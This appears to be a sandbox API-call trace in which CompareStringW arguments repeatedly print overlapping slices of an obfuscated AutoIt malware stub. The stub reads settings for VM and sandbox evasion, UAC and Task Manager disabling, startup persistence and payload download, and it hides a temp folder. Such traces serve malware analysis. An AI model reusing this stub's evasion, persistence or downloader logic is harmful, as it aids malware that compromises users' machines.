$75A2FB145F3605CA0DA3CA48D7B9C281 = 0x00006801\r\nGlobal Const $1295974546E6E9CA72B1205FD83C6F10 = 0\r\nGlobal $FDA831CE40AFAB1CCB2F146F9D71CF0F[3]\r\nGlobal $6D8EA853F0F9D4F4725A7B18BA8E68E5, $6C3C44D956C1D408BA305F8620833447, $D7D52CFFCBB6745185B9DB4AFA2C8C13, $FF9A003592FB5AC6C447DC74647093B4, $B9B82D98583A5C233FD445FABDD55983, $F39285179624EA59225A0BF28273C515, $79E6B6AD0E3929343C8227B45FDD4FFB\r\nGlobal $3C02906DBD82FAE9BEDF15FA83019CD3 = @MIN + 1, $10408E6F4EE9BCC475D45187F7A61581 = @MIN + 1, $576E7ACF370C475C1F7CFFC8287D4894, $D670D931AB625312A06C6E78CAF5F4FA, $5D33270AF08A87ABF453DC3CE78E09EC, $FD207A895B0E415C87F1962728B8263A, $EF334541C41BF1292618BD324F33ECFF, $38FB60076F054E3721B05607F1809456\r\nGlobal $C53E1AA287D0B74A8A796B2D3DB2DAE2, $C8E8F8600975B3E41D4C0AFA85BEDAB0, $3B3F342DCB843A363757E1DD2813D3FF, $8F5EBE1328FC2B2DC6016A70C366F083\r\n$6D8EA853F0F9D4F4725A7B18BA8E68E5 = @ScriptDir & \"\\Settings File Name\"\r\n$989BD8DF7434150DDDCC4E3AF84571E3 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Dir3ctory\", '')\r\n$9355FBBA246C8217C04EE3075C218909 = @TempDir & \"\\\" & $989BD8DF7434150DDDCC4E3AF84571E3\r\nSleep(100)\r\nFileSetAttrib($9355FBBA246C8217C04EE3075C218909, \"+H\")\r\nSleep(100)\r\n_S0x325952AE1C47E8F062A74927A1DBE55B()\r\nFunc _S0x325952AE1C47E8F062A74927A1DBE55B()\r\n\x09$39EE801D7E22D21808919DD1A991F950 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"msg\", '')\r\n\x09If $39EE801D7E22D21808919DD1A991F950 <> '' Then\r\n\x09\x09_S0xCD06933F8DF7350D8A7AA4D9F1BAFB5B()\r\n\x09EndIf\r\n\x09$4FE9C92D9445918D1759387A12138EA3 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"_S0x20057179D673181B71D4593BFB2A0450\", '')\r\n\x09If $4FE9C92D9445918D1759387A12138EA3 <> '' Then\r\n\x09\x09_S0x20057179D673181B71D4593BFB2A0450()\r\n\x09EndIf\r\n\x09$7720810FD229554DD77847CB9AFBA43C = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"VM\", '')\r\n\x09If $7720810FD229554DD77847CB9AFBA43C <> '' Then\r\n\x09\x09_S0xF2781DA828DC14A0F0FEF5D4A4426C98()\r\n\x09EndIf\r\n\x09$1CE94C1EFB22EC0E6A185C1DF526F610 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"SandBox\", '')\r\n\x09If $1CE94C1EFB22EC0E6A185C1DF526F610 <> '' Then\r\n\x09\x09_S0x68186AB5B357A0A14A644C0DF695A52F()\r\n\x09EndIf\r\n\x09$F8AE244B1B08123E5D880B38054376F1 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"duac\", '')\r\n\x09If $F8AE244B1B08123E5D880B38054376F1 <> '' Then\r\n\x09\x09_S0x1BBD61B5E692FCE17130D76616C68EBD()\r\n\x09EndIf\r\n\x09$9591864BF46863A614F7C4FA8E1115C7 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"drpt\", '')\r\n\x09If $9591864BF46863A614F7C4FA8E1115C7 <> '' Then\r\n\x09\x09_S0x050BF61634F62863E7BB6AC69F3E487B()\r\n\x09EndIf\r\n\x09$9591864BF46863A614F7C4FA8E1115C7 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"btklr\", '')\r\n\x09If $9591864BF46863A614F7C4FA8E1115C7 <> '' Then\r\n\x09\x09_S0xD390989A5708F188D35440C295B99A56()\r\n\x09EndIf\r\n\x09$A670CC2ECC35575854C80B4208A78E05 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"taskmnrg\", '')\r\n\x09If $A670CC2ECC35575854C80B4208A78E05 <> '' Then\r\n\x09\x09_S0xC7ADA02AAC2441891463C2209AAEC94F()\r\n\x09EndIf\r\n\x09$38FB60076F054E3721B05607F1809456 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"hSUps\", '')\r\n\x09$061EF4528D3BEC1BAD24205CFB342445 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"StartUps\", '')\r\n\x09If $061EF4528D3BEC1BAD24205CFB342445 <> '' Then\r\n\x09\x09$576E7ACF370C475C1F7CFFC8287D4894 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Key\", '')\r\n\x09\x09_S0xC8217D78780E72F524EC8E3C8A152959($576E7ACF370C475C1F7CFFC8287D4894)\r\n\x09EndIf\r\n\x09$7844252F058DDA024127F0F6E1F47A98 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Down\", '')\r\n\x09If $7844252F058DDA024127F0F6E1F47A98 <> '' Then\r\n\x09\x09_S0xDF98BC688C668B0407CDE2D98C295CB8(BinaryToString($7844252F058DDA024127F0F6E1F47A98))\r\n\x09EndIf\r\n\x09$F39285179624EA59225A0BF28273C515 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Net\", '')\r\n\x09If $F39285179624EA59225A0BF28273C515 <> '' Then\r\n\x09\x09$F39285179624EA59225A0BF28273C515 = True\r\n\x09EndIf\r\n\x09$8F5EBE1328FC2B2DC6016A70C366F083 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"eof\", '')\r\n\x09If $8F5EBE1328FC2B2DC6016A70C366F083 <> '' Then\r\n\x09\x09$3B3F342DCB843A363757E1DD2813D3FF = True\r\n\x09EndIf\r\n\x09$6041FCAD8A4EB8C30A147D795679C7FA = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"RP\", '')\r\n\x09If $6041FCAD8A4EB8C30A147D795679C7FA <> '' And ", cchCount1=18, lpString2="Settings File Name", cchCount2=18) returned 3 [0078.199] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="t $368080A29D90F5BA0B1D1E0DEAF11686 = 0xF0000000\r\nGlobal Const $2BADE2A6917E4FD3141FF478399B9C29 = 0x0004\r\nGlobal Const $D7B87DBC9EBFE9B98E86AC402AF30278 = 0x0002\r\nGlobal Const $A4E74B3D571DD28A4BD46AFED2FF9A21 = 0x00000001\r\nGlobal Const $B939F5E560A162C57C19FFD63367B64E = 1\r\nGlobal Const $72C3DED1B4617DC9E36E9F0FA1ECD04B = 0x00008001\r\nGlobal Const $B6D07C74BD5D1C5988597C22A366633F = 0x00008002\r\nGlobal Const $AC23469B485C91685E66323634795BB3 = 0x00008003\r\nGlobal Const $A2FCA4C08C8A3F1468D8E746E31AB5CB = 0x00008004\r\nGlobal Const $487AA7ED5C22C2DBED5BE8784863E3CA = 0x00006603\r\nGlobal Const $F23BABECD6E4A8BB507295A70C116B81 = 0x0000660e\r\nGlobal Const $893529605D2CC4E08C633862AF17D045 = 0x0000660f\r\nGlobal Const $D55A30AD6906FF18C3F0AD47673624E1 = 0x00006610\r\nGlobal Const $D9E2A9D97C7FFBAD9D504886A359FB4A = 0x00006601\r\nGlobal Const $4350DEA878C5E4A2BAB83C4406A8B26B = 0x00006602\r\nGlobal Const $75A2FB145F3605CA0DA3CA48D7B9C281 = 0x00006801\r\nGlobal Const $1295974546E6E9CA72B1205FD83C6F10 = 0\r\nGlobal $FDA831CE40AFAB1CCB2F146F9D71CF0F[3]\r\nGlobal $6D8EA853F0F9D4F4725A7B18BA8E68E5, $6C3C44D956C1D408BA305F8620833447, $D7D52CFFCBB6745185B9DB4AFA2C8C13, $FF9A003592FB5AC6C447DC74647093B4, $B9B82D98583A5C233FD445FABDD55983, $F39285179624EA59225A0BF28273C515, $79E6B6AD0E3929343C8227B45FDD4FFB\r\nGlobal $3C02906DBD82FAE9BEDF15FA83019CD3 = @MIN + 1, $10408E6F4EE9BCC475D45187F7A61581 = @MIN + 1, $576E7ACF370C475C1F7CFFC8287D4894, $D670D931AB625312A06C6E78CAF5F4FA, $5D33270AF08A87ABF453DC3CE78E09EC, $FD207A895B0E415C87F1962728B8263A, $EF334541C41BF1292618BD324F33ECFF, $38FB60076F054E3721B05607F1809456\r\nGlobal $C53E1AA287D0B74A8A796B2D3DB2DAE2, $C8E8F8600975B3E41D4C0AFA85BEDAB0, $3B3F342DCB843A363757E1DD2813D3FF, $8F5EBE1328FC2B2DC6016A70C366F083\r\n$6D8EA853F0F9D4F4725A7B18BA8E68E5 = @ScriptDir & \"\\Settings File Name\"\r\n$989BD8DF7434150DDDCC4E3AF84571E3 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Dir3ctory\", '')\r\n$9355FBBA246C8217C04EE3075C218909 = @TempDir & \"\\\" & $989BD8DF7434150DDDCC4E3AF84571E3\r\nSleep(100)\r\nFileSetAttrib($9355FBBA246C8217C04EE3075C218909, \"+H\")\r\nSleep(100)\r\n_S0x325952AE1C47E8F062A74927A1DBE55B()\r\nFunc _S0x325952AE1C47E8F062A74927A1DBE55B()\r\n\x09$39EE801D7E22D21808919DD1A991F950 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"msg\", '')\r\n\x09If $39EE801D7E22D21808919DD1A991F950 <> '' Then\r\n\x09\x09_S0xCD06933F8DF7350D8A7AA4D9F1BAFB5B()\r\n\x09EndIf\r\n\x09$4FE9C92D9445918D1759387A12138EA3 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"_S0x20057179D673181B71D4593BFB2A0450\", '')\r\n\x09If $4FE9C92D9445918D1759387A12138EA3 <> '' Then\r\n\x09\x09_S0x20057179D673181B71D4593BFB2A0450()\r\n\x09EndIf\r\n\x09$7720810FD229554DD77847CB9AFBA43C = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"VM\", '')\r\n\x09If $7720810FD229554DD77847CB9AFBA43C <> '' Then\r\n\x09\x09_S0xF2781DA828DC14A0F0FEF5D4A4426C98()\r\n\x09EndIf\r\n\x09$1CE94C1EFB22EC0E6A185C1DF526F610 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"SandBox\", '')\r\n\x09If $1CE94C1EFB22EC0E6A185C1DF526F610 <> '' Then\r\n\x09\x09_S0x68186AB5B357A0A14A644C0DF695A52F()\r\n\x09EndIf\r\n\x09$F8AE244B1B08123E5D880B38054376F1 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"duac\", '')\r\n\x09If $F8AE244B1B08123E5D880B38054376F1 <> '' Then\r\n\x09\x09_S0x1BBD61B5E692FCE17130D76616C68EBD()\r\n\x09EndIf\r\n\x09$9591864BF46863A614F7C4FA8E1115C7 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"drpt\", '')\r\n\x09If $9591864BF46863A614F7C4FA8E1115C7 <> '' Then\r\n\x09\x09_S0x050BF61634F62863E7BB6AC69F3E487B()\r\n\x09EndIf\r\n\x09$9591864BF46863A614F7C4FA8E1115C7 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"btklr\", '')\r\n\x09If $9591864BF46863A614F7C4FA8E1115C7 <> '' Then\r\n\x09\x09_S0xD390989A5708F188D35440C295B99A56()\r\n\x09EndIf\r\n\x09$A670CC2ECC35575854C80B4208A78E05 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"taskmnrg\", '')\r\n\x09If $A670CC2ECC35575854C80B4208A78E05 <> '' Then\r\n\x09\x09_S0xC7ADA02AAC2441891463C2209AAEC94F()\r\n\x09EndIf\r\n\x09$38FB60076F054E3721B05607F1809456 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"hSUps\", '')\r\n\x09$061EF4528D3BEC1BAD24205CFB342445 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"StartUps\", '')\r\n\x09If $061EF4528D3BEC1BAD24205CFB342445 <> '' Then\r\n\x09\x09$576E7ACF370C475C1F7CFFC8287D4894 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Key\", '')\r\n\x09\x09_S0xC8217D78780E72F524EC8E3C8A152959($576E7ACF370C475C1F7CFFC8287D4894)\r\n\x09EndIf\r\n\x09$7844252F058DDA024127F0F6E1F47A98 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Down\", '')\r\n\x09If $7844252F058DDA024127F0F6E1F47A98 <> '' Then\r\n\x09\x09_S0xDF98BC688C668B0407CDE2D98C295CB8(BinaryToString($7844252F058DDA024127F0F6E1F47A98))\r\n\x09EndIf\r\n\x09$F39285179624EA59225A0BF28273C515 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Net\", '')\r\n\x09If $F39285179624EA59225A0BF28273C515 <> '' Then\r\n\x09\x09$F39285179624EA59225A0BF28273C515 = True\r\n\x09EndIf\r\n\x09$8F5EBE1328FC2B2DC6016A70C366F083 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"eof\", '')\r\n\x09If $8F5EBE1328FC2B2DC6016A70C366F083 <> '' Then\r\n\x09\x09$3B3F342DCB843A363757E1DD2813D3FF = True\r\n\x09EndIf\r\n\x09$6041FCAD8A4EB8C30A147D795679C7FA = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"RP\", '')\r\n\x09If $6041FCAD8A4EB8C30A147D795679C7FA <> '' And N", cchCount1=18, lpString2="Settings File Name", cchCount2=18) returned 3 [0078.199] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=" $368080A29D90F5BA0B1D1E0DEAF11686 = 0xF0000000\r\nGlobal Const $2BADE2A6917E4FD3141FF478399B9C29 = 0x0004\r\nGlobal Const $D7B87DBC9EBFE9B98E86AC402AF30278 = 0x0002\r\nGlobal Const $A4E74B3D571DD28A4BD46AFED2FF9A21 = 0x00000001\r\nGlobal Const $B939F5E560A162C57C19FFD63367B64E = 1\r\nGlobal Const $72C3DED1B4617DC9E36E9F0FA1ECD04B = 0x00008001\r\nGlobal Const $B6D07C74BD5D1C5988597C22A366633F = 0x00008002\r\nGlobal Const $AC23469B485C91685E66323634795BB3 = 0x00008003\r\nGlobal Const $A2FCA4C08C8A3F1468D8E746E31AB5CB = 0x00008004\r\nGlobal Const $487AA7ED5C22C2DBED5BE8784863E3CA = 0x00006603\r\nGlobal Const $F23BABECD6E4A8BB507295A70C116B81 = 0x0000660e\r\nGlobal Const $893529605D2CC4E08C633862AF17D045 = 0x0000660f\r\nGlobal Const $D55A30AD6906FF18C3F0AD47673624E1 = 0x00006610\r\nGlobal Const $D9E2A9D97C7FFBAD9D504886A359FB4A = 0x00006601\r\nGlobal Const $4350DEA878C5E4A2BAB83C4406A8B26B = 0x00006602\r\nGlobal Const $75A2FB145F3605CA0DA3CA48D7B9C281 = 0x00006801\r\nGlobal Const $1295974546E6E9CA72B1205FD83C6F10 = 0\r\nGlobal $FDA831CE40AFAB1CCB2F146F9D71CF0F[3]\r\nGlobal $6D8EA853F0F9D4F4725A7B18BA8E68E5, $6C3C44D956C1D408BA305F8620833447, $D7D52CFFCBB6745185B9DB4AFA2C8C13, $FF9A003592FB5AC6C447DC74647093B4, $B9B82D98583A5C233FD445FABDD55983, $F39285179624EA59225A0BF28273C515, $79E6B6AD0E3929343C8227B45FDD4FFB\r\nGlobal $3C02906DBD82FAE9BEDF15FA83019CD3 = @MIN + 1, $10408E6F4EE9BCC475D45187F7A61581 = @MIN + 1, $576E7ACF370C475C1F7CFFC8287D4894, $D670D931AB625312A06C6E78CAF5F4FA, $5D33270AF08A87ABF453DC3CE78E09EC, $FD207A895B0E415C87F1962728B8263A, $EF334541C41BF1292618BD324F33ECFF, $38FB60076F054E3721B05607F1809456\r\nGlobal $C53E1AA287D0B74A8A796B2D3DB2DAE2, $C8E8F8600975B3E41D4C0AFA85BEDAB0, $3B3F342DCB843A363757E1DD2813D3FF, $8F5EBE1328FC2B2DC6016A70C366F083\r\n$6D8EA853F0F9D4F4725A7B18BA8E68E5 = @ScriptDir & \"\\Settings File Name\"\r\n$989BD8DF7434150DDDCC4E3AF84571E3 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Dir3ctory\", '')\r\n$9355FBBA246C8217C04EE3075C218909 = @TempDir & \"\\\" & $989BD8DF7434150DDDCC4E3AF84571E3\r\nSleep(100)\r\nFileSetAttrib($9355FBBA246C8217C04EE3075C218909, \"+H\")\r\nSleep(100)\r\n_S0x325952AE1C47E8F062A74927A1DBE55B()\r\nFunc _S0x325952AE1C47E8F062A74927A1DBE55B()\r\n\x09$39EE801D7E22D21808919DD1A991F950 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"msg\", '')\r\n\x09If $39EE801D7E22D21808919DD1A991F950 <> '' Then\r\n\x09\x09_S0xCD06933F8DF7350D8A7AA4D9F1BAFB5B()\r\n\x09EndIf\r\n\x09$4FE9C92D9445918D1759387A12138EA3 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"_S0x20057179D673181B71D4593BFB2A0450\", '')\r\n\x09If $4FE9C92D9445918D1759387A12138EA3 <> '' Then\r\n\x09\x09_S0x20057179D673181B71D4593BFB2A0450()\r\n\x09EndIf\r\n\x09$7720810FD229554DD77847CB9AFBA43C = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"VM\", '')\r\n\x09If $7720810FD229554DD77847CB9AFBA43C <> '' Then\r\n\x09\x09_S0xF2781DA828DC14A0F0FEF5D4A4426C98()\r\n\x09EndIf\r\n\x09$1CE94C1EFB22EC0E6A185C1DF526F610 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"SandBox\", '')\r\n\x09If $1CE94C1EFB22EC0E6A185C1DF526F610 <> '' Then\r\n\x09\x09_S0x68186AB5B357A0A14A644C0DF695A52F()\r\n\x09EndIf\r\n\x09$F8AE244B1B08123E5D880B38054376F1 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"duac\", '')\r\n\x09If $F8AE244B1B08123E5D880B38054376F1 <> '' Then\r\n\x09\x09_S0x1BBD61B5E692FCE17130D76616C68EBD()\r\n\x09EndIf\r\n\x09$9591864BF46863A614F7C4FA8E1115C7 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"drpt\", '')\r\n\x09If $9591864BF46863A614F7C4FA8E1115C7 <> '' Then\r\n\x09\x09_S0x050BF61634F62863E7BB6AC69F3E487B()\r\n\x09EndIf\r\n\x09$9591864BF46863A614F7C4FA8E1115C7 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"btklr\", '')\r\n\x09If $9591864BF46863A614F7C4FA8E1115C7 <> '' Then\r\n\x09\x09_S0xD390989A5708F188D35440C295B99A56()\r\n\x09EndIf\r\n\x09$A670CC2ECC35575854C80B4208A78E05 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"taskmnrg\", '')\r\n\x09If $A670CC2ECC35575854C80B4208A78E05 <> '' Then\r\n\x09\x09_S0xC7ADA02AAC2441891463C2209AAEC94F()\r\n\x09EndIf\r\n\x09$38FB60076F054E3721B05607F1809456 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"hSUps\", '')\r\n\x09$061EF4528D3BEC1BAD24205CFB342445 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"StartUps\", '')\r\n\x09If $061EF4528D3BEC1BAD24205CFB342445 <> '' Then\r\n\x09\x09$576E7ACF370C475C1F7CFFC8287D4894 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Key\", '')\r\n\x09\x09_S0xC8217D78780E72F524EC8E3C8A152959($576E7ACF370C475C1F7CFFC8287D4894)\r\n\x09EndIf\r\n\x09$7844252F058DDA024127F0F6E1F47A98 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Down\", '')\r\n\x09If $7844252F058DDA024127F0F6E1F47A98 <> '' Then\r\n\x09\x09_S0xDF98BC688C668B0407CDE2D98C295CB8(BinaryToString($7844252F058DDA024127F0F6E1F47A98))\r\n\x09EndIf\r\n\x09$F39285179624EA59225A0BF28273C515 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Net\", '')\r\n\x09If $F39285179624EA59225A0BF28273C515 <> '' Then\r\n\x09\x09$F39285179624EA59225A0BF28273C515 = True\r\n\x09EndIf\r\n\x09$8F5EBE1328FC2B2DC6016A70C366F083 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"eof\", '')\r\n\x09If $8F5EBE1328FC2B2DC6016A70C366F083 <> '' Then\r\n\x09\x09$3B3F342DCB843A363757E1DD2813D3FF = True\r\n\x09EndIf\r\n\x09$6041FCAD8A4EB8C30A147D795679C7FA = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"RP\", '')\r\n\x09If $6041FCAD8A4EB8C30A147D795679C7FA <> '' And No", cchCount1=18, lpString2="Settings File Name", cchCount2=18) returned 1 [0078.199] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="$368080A29D90F5BA0B1D1E0DEAF11686 = 0xF0000000\r\nGlobal Const $2BADE2A6917E4FD3141FF478399B9C29 = 0x0004\r\nGlobal Const $D7B87DBC9EBFE9B98E86AC402AF30278 = 0x0002\r\nGlobal Const $A4E74B3D571DD28A4BD46AFED2FF9A21 = 0x00000001\r\nGlobal Const $B939F5E560A162C57C19FFD63367B64E = 1\r\nGlobal Const $72C3DED1B4617DC9E36E9F0FA1ECD04B = 0x00008001\r\nGlobal Const $B6D07C74BD5D1C5988597C22A366633F = 0x00008002\r\nGlobal Const $AC23469B485C91685E66323634795BB3 = 0x00008003\r\nGlobal Const $A2FCA4C08C8A3F1468D8E746E31AB5CB = 0x00008004\r\nGlobal Const $487AA7ED5C22C2DBED5BE8784863E3CA = 0x00006603\r\nGlobal Const $F23BABECD6E4A8BB507295A70C116B81 = 0x0000660e\r\nGlobal Const $893529605D2CC4E08C633862AF17D045 = 0x0000660f\r\nGlobal Const $D55A30AD6906FF18C3F0AD47673624E1 = 0x00006610\r\nGlobal Const $D9E2A9D97C7FFBAD9D504886A359FB4A = 0x00006601\r\nGlobal Const $4350DEA878C5E4A2BAB83C4406A8B26B = 0x00006602\r\nGlobal Const $75A2FB145F3605CA0DA3CA48D7B9C281 = 0x00006801\r\nGlobal Const $1295974546E6E9CA72B1205FD83C6F10 = 0\r\nGlobal $FDA831CE40AFAB1CCB2F146F9D71CF0F[3]\r\nGlobal $6D8EA853F0F9D4F4725A7B18BA8E68E5, $6C3C44D956C1D408BA305F8620833447, $D7D52CFFCBB6745185B9DB4AFA2C8C13, $FF9A003592FB5AC6C447DC74647093B4, $B9B82D98583A5C233FD445FABDD55983, $F39285179624EA59225A0BF28273C515, $79E6B6AD0E3929343C8227B45FDD4FFB\r\nGlobal $3C02906DBD82FAE9BEDF15FA83019CD3 = @MIN + 1, $10408E6F4EE9BCC475D45187F7A61581 = @MIN + 1, $576E7ACF370C475C1F7CFFC8287D4894, $D670D931AB625312A06C6E78CAF5F4FA, $5D33270AF08A87ABF453DC3CE78E09EC, $FD207A895B0E415C87F1962728B8263A, $EF334541C41BF1292618BD324F33ECFF, $38FB60076F054E3721B05607F1809456\r\nGlobal $C53E1AA287D0B74A8A796B2D3DB2DAE2, $C8E8F8600975B3E41D4C0AFA85BEDAB0, $3B3F342DCB843A363757E1DD2813D3FF, $8F5EBE1328FC2B2DC6016A70C366F083\r\n$6D8EA853F0F9D4F4725A7B18BA8E68E5 = @ScriptDir & \"\\Settings File Name\"\r\n$989BD8DF7434150DDDCC4E3AF84571E3 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Dir3ctory\", '')\r\n$9355FBBA246C8217C04EE3075C218909 = @TempDir & \"\\\" & $989BD8DF7434150DDDCC4E3AF84571E3\r\nSleep(100)\r\nFileSetAttrib($9355FBBA246C8217C04EE3075C218909, \"+H\")\r\nSleep(100)\r\n_S0x325952AE1C47E8F062A74927A1DBE55B()\r\nFunc _S0x325952AE1C47E8F062A74927A1DBE55B()\r\n\x09$39EE801D7E22D21808919DD1A991F950 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"msg\", '')\r\n\x09If $39EE801D7E22D21808919DD1A991F950 <> '' Then\r\n\x09\x09_S0xCD06933F8DF7350D8A7AA4D9F1BAFB5B()\r\n\x09EndIf\r\n\x09$4FE9C92D9445918D1759387A12138EA3 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"_S0x20057179D673181B71D4593BFB2A0450\", '')\r\n\x09If $4FE9C92D9445918D1759387A12138EA3 <> '' Then\r\n\x09\x09_S0x20057179D673181B71D4593BFB2A0450()\r\n\x09EndIf\r\n\x09$7720810FD229554DD77847CB9AFBA43C = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"VM\", '')\r\n\x09If $7720810FD229554DD77847CB9AFBA43C <> '' Then\r\n\x09\x09_S0xF2781DA828DC14A0F0FEF5D4A4426C98()\r\n\x09EndIf\r\n\x09$1CE94C1EFB22EC0E6A185C1DF526F610 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"SandBox\", '')\r\n\x09If $1CE94C1EFB22EC0E6A185C1DF526F610 <> '' Then\r\n\x09\x09_S0x68186AB5B357A0A14A644C0DF695A52F()\r\n\x09EndIf\r\n\x09$F8AE244B1B08123E5D880B38054376F1 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"duac\", '')\r\n\x09If $F8AE244B1B08123E5D880B38054376F1 <> '' Then\r\n\x09\x09_S0x1BBD61B5E692FCE17130D76616C68EBD()\r\n\x09EndIf\r\n\x09$9591864BF46863A614F7C4FA8E1115C7 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"drpt\", '')\r\n\x09If $9591864BF46863A614F7C4FA8E1115C7 <> '' Then\r\n\x09\x09_S0x050BF61634F62863E7BB6AC69F3E487B()\r\n\x09EndIf\r\n\x09$9591864BF46863A614F7C4FA8E1115C7 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"btklr\", '')\r\n\x09If $9591864BF46863A614F7C4FA8E1115C7 <> '' Then\r\n\x09\x09_S0xD390989A5708F188D35440C295B99A56()\r\n\x09EndIf\r\n\x09$A670CC2ECC35575854C80B4208A78E05 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"taskmnrg\", '')\r\n\x09If $A670CC2ECC35575854C80B4208A78E05 <> '' Then\r\n\x09\x09_S0xC7ADA02AAC2441891463C2209AAEC94F()\r\n\x09EndIf\r\n\x09$38FB60076F054E3721B05607F1809456 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"hSUps\", '')\r\n\x09$061EF4528D3BEC1BAD24205CFB342445 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"StartUps\", '')\r\n\x09If $061EF4528D3BEC1BAD24205CFB342445 <> '' Then\r\n\x09\x09$576E7ACF370C475C1F7CFFC8287D4894 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Key\", '')\r\n\x09\x09_S0xC8217D78780E72F524EC8E3C8A152959($576E7ACF370C475C1F7CFFC8287D4894)\r\n\x09EndIf\r\n\x09$7844252F058DDA024127F0F6E1F47A98 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Down\", '')\r\n\x09If $7844252F058DDA024127F0F6E1F47A98 <> '' Then\r\n\x09\x09_S0xDF98BC688C668B0407CDE2D98C295CB8(BinaryToString($7844252F058DDA024127F0F6E1F47A98))\r\n\x09EndIf\r\n\x09$F39285179624EA59225A0BF28273C515 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Net\", '')\r\n\x09If $F39285179624EA59225A0BF28273C515 <> '' Then\r\n\x09\x09$F39285179624EA59225A0BF28273C515 = True\r\n\x09EndIf\r\n\x09$8F5EBE1328FC2B2DC6016A70C366F083 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"eof\", '')\r\n\x09If $8F5EBE1328FC2B2DC6016A70C366F083 <> '' Then\r\n\x09\x09$3B3F342DCB843A363757E1DD2813D3FF = True\r\n\x09EndIf\r\n\x09$6041FCAD8A4EB8C30A147D795679C7FA = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"RP\", '')\r\n\x09If $6041FCAD8A4EB8C30A147D795679C7FA <> '' And Not", cchCount1=18, lpString2="Settings File Name", cchCount2=18) returned 1 [0078.199] CompareStringW 